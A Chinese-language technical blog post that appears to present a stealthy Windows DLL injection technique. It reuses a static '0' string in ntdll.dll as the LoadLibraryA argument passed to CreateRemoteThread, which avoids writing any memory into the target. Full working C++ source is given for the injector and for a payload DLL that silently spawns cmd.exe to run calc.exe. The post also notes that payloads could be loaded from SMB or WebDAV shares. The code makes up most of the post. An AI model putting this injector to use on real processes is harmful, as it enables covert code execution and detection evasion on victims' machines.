注入原理
自 Windows Vista 以来,ASLR 随机化 每次启动时的基址。系统 DLL 在所有进程中加载到一致的基址以优化重定位性能。 因此,像 ntdll + 0x4
这样的偏移量应该指向所有进程中的相同字节
如下图所示,使用Process Hacker
进行查看ntdll
在不同应用程序下对应的基地址是相同的:

于此同时使用LoadLibrary
时会在对应的字符串后自动添加上.dll
对此我们只需要在系统 DLL 中找到一个字符串进行转载我们预先设计好的一个 DLL 即可完成注入工作,而减少了写入的操作
基于此给出以下的注入流程:
具体实现
对于实现而言我们需要在 A 程序中找到一个静态字符串,以 0
为例,我们在ntdll.dll
中进行寻找一个静态的ASCII字符串
满足0x30 0x00
的结构形式,那么我们对应获取 B 程序的 PID
进而获取对应的句柄创建远程线程进行加载便完成了对应的注入工作
对应注入的 DLL 载荷不一定局限于经典的搜索顺序劫持
也许可以滥用 DefineDosDeviceW
或 NT符号链接 从任意位置(如 SMB 共享或 WebDAV 挂载)加载
为便于测试,测试过程中采用搜索顺序劫持,对应的文件结构如下

Test.exe
为我们对应的一个被注入的程序 B,0.dll
为目标注入DLL文件,对应的程序 A 的源码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128
| #include <iostream> #include <Windows.h> #include <Psapi.h> #include <winternl.h> #include <vector>
#pragma comment(lib, "psapi.lib")
bool GetModuleMemoryRange(HMODULE hModule, void** ppBase, size_t* pSize) { MODULEINFO modInfo = {}; if (!GetModuleInformation(GetCurrentProcess(), hModule, &modInfo, sizeof(modInfo))) { std::cerr << "[!] GetModuleInformation failed: " << GetLastError() << std::endl; return false; } *ppBase = modInfo.lpBaseOfDll; *pSize = modInfo.SizeOfImage; return true; }
std::vector<DWORD_PTR> FindPattern0x30_00(void* baseAddr, size_t searchSize) { std::vector<DWORD_PTR> matches; BYTE* current = static_cast<BYTE*>(baseAddr); const BYTE target = 0x30;
while (current < static_cast<BYTE*>(baseAddr) + searchSize) { MEMORY_BASIC_INFORMATION mbi = {}; if (!VirtualQuery(current, &mbi, sizeof(mbi))) { std::cerr << "[!] VirtualQuery failed at: 0x" << static_cast<void*>(current) << std::endl; break; }
size_t safeRemaining = 0; ptrdiff_t remainingBytes = (static_cast<BYTE*>(baseAddr) + searchSize) - current; if (remainingBytes > 0) { safeRemaining = static_cast<size_t>(remainingBytes); }
size_t regionSize = min(mbi.RegionSize, safeRemaining);
if (mbi.Protect & (PAGE_NOACCESS | PAGE_GUARD)) { current += regionSize; continue; }
for (size_t i = 0; i + 1 < regionSize; ++i) { if (current[i] == target && current[i + 1] == '\0') { DWORD_PTR offset = reinterpret_cast<DWORD_PTR>(¤t[i]) - reinterpret_cast<DWORD_PTR>(baseAddr); matches.push_back(offset); } }
current += regionSize; }
return matches; }
int main() { HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); if (!hNtdll) { std::cerr << "[!] Failed to get handle of ntdll.dll." << std::endl; return 1; }
void* baseAddr = nullptr; size_t moduleSize = 0;
if (!GetModuleMemoryRange(hNtdll, &baseAddr, &moduleSize)) { return 1; }
std::cout << "[*] Scanning ntdll.dll [" << "Base: 0x" << std::hex << reinterpret_cast<DWORD_PTR>(baseAddr) << ", Size: 0x" << moduleSize << "]\n";
auto offsets = FindPattern0x30_00(baseAddr, moduleSize);
std::cout << "\n[+] Found " << std::dec << offsets.size() << " instances of 0x30 00 pattern:\n";
int shown = 0; DWORD_PTR testOffset = offsets[0]; for (const auto& offset : offsets) { std::cout << " [+] Offset: ntdll + 0x" << std::hex << offset << " (Addr: 0x" << reinterpret_cast<DWORD_PTR>(baseAddr) + offset << ")\n"; if (++shown >= 10) break; }
char firstChar = *(char*)(reinterpret_cast<DWORD_PTR>(baseAddr) + testOffset); LPVOID dllNameAddr = reinterpret_cast<char*>(baseAddr) + testOffset; std::string dllName = std::string(1, firstChar) + ".dll";
std::cout << "\n[*] DLL Name Guess: " << dllName << std::endl; std::cout << "[*] DLL String Address: " << dllNameAddr << std::endl;
DWORD pid = 24168; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (!hProcess) { std::cerr << "[!] Failed to open target process with PID " << pid << std::endl; return 1; }
HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"), dllNameAddr, 0, NULL );
if (!hThread) { std::cerr << "[!] Failed to create remote thread!" << std::endl; return 1; }
std::cout << "[+] Remote thread created successfully!" << std::endl;
return 0; }
|
对应的DLL源码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| #include "pch.h" #include <Windows.h> #include <tchar.h>
bool do_Some_Thing() { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE;
LPCTSTR cmdPath = L"C:\\Windows\\System32\\cmd.exe"; wchar_t cmdArgs[] = L"/c calc.exe";
if (!CreateProcess(cmdPath, cmdArgs, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { return false; } CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return true; }
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { bool res = false; switch (ul_reason_for_call) { case DLL_THREAD_ATTACH: break; case DLL_PROCESS_ATTACH: res = do_Some_Thing(); if (res) { MessageBoxA(NULL, "CreateThread Success", "", MB_OK); } else { MessageBoxA(NULL, "CreateThread False", "", MB_OK); } break; case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
|
修改对应程序B运行后的 PID
即可完成对应的注入工作:
